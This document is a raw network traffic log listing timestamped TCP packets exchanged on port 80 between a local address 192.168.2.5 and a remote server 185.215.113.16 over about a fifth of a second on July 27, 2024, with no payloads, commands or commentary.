Jul 27, 2024 09:26:09.778536081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778563023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778578997 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778594971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778614998 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778626919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778635979 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778661013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778666973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778692007 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778700113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778723955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778734922 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778755903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778767109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778788090 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778795958 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778820038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778827906 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778852940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.778861046 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.778892994 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779684067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779728889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779735088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779778957 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779783010 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779815912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779830933 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779863119 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779869080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779901981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779912949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779933929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779941082 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779967070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.779975891 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.779999018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780009031 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780030012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780046940 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780061960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780069113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780093908 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780102968 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780126095 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780136108 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780157089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.780165911 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.780194998 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.804614067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804639101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804655075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804670095 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804685116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804697990 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804713964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.804965973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.804965973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.804965973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.804965973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828108072 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828131914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828146935 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828191042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828205109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828218937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828238010 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828258991 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828272104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828272104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828272104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828272104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828272104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828283072 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828288078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828289032 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828314066 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828325033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828361988 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828376055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828389883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828403950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.828403950 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828421116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.828430891 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831311941 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831370115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831383944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831391096 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831423044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831438065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831453085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831485987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831515074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831528902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831542969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831558943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831588984 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831645966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831675053 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831696987 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831712008 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831726074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831739902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831744909 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831753969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831767082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831789017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831803083 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831809044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831816912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831830978 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.831871033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.831914902 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.832504034 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.837397099 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.889942884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890001059 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890049934 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890081882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890095949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890095949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890111923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890115023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890115976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890161037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890163898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890194893 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890202045 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890227079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890248060 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890265942 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890276909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890307903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890322924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890341043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890351057 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890372038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890387058 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890415907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890427113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890459061 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890474081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890491962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890501976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890523911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890532017 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890568972 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890572071 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890604019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890618086 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890635967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890646935 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890669107 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890676022 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890702009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890707970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890744925 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890748978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890795946 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890824080 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890827894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890841961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890860081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890871048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890892982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890903950 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890925884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890938044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.890957117 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.890966892 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891005039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891005039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891038895 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891050100 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891069889 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891081095 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891112089 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891113043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891145945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891159058 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891176939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891182899 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891210079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891216993 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891254902 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891259909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891293049 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891305923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891324997 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891335011 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891356945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891366959 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891388893 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891401052 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891429901 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891437054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891468048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891483068 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891499996 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891510010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891531944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891542912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891565084 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891575098 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891594887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891608953 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891627073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891633034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891663074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891664982 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891695023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891707897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891726017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891736984 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891757965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891768932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891789913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891802073 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891822100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891833067 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891853094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891863108 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891885042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891895056 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891916990 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891927958 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891948938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891962051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.891980886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.891990900 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892013073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892025948 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892045021 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892050982 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892076969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892083883 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892107964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892118931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892138958 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892155886 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892170906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892179966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892203093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892215967 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892235041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892246962 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892266989 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.892277002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.892309904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894264936 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894315958 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894318104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894356012 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894364119 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894397020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894408941 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894428015 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894438028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894460917 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894474983 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894493103 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.894517899 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.894534111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.915374041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915425062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915477037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915508986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915539980 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915568113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.915570974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915591002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.915604115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.915642023 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.915659904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917226076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917273998 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917277098 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917325020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917351961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917356968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917366028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917395115 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917402983 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917434931 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917447090 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917474031 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917481899 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917525053 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917530060 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917562008 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917577028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917594910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917599916 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917625904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917642117 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917668104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917675018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917706013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917718887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917738914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917746067 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917771101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917778969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917805910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917817116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917836905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917846918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917867899 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917880058 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917900085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917908907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917932987 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.917944908 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.917972088 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918011904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918044090 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918059111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918075085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918081045 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918119907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918477058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918509007 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918521881 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918550014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918557882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918590069 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918603897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918623924 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:09.918633938 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.918663025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:09.947961092 CEST	80	49733	185.215.113.16	192.168.2.5
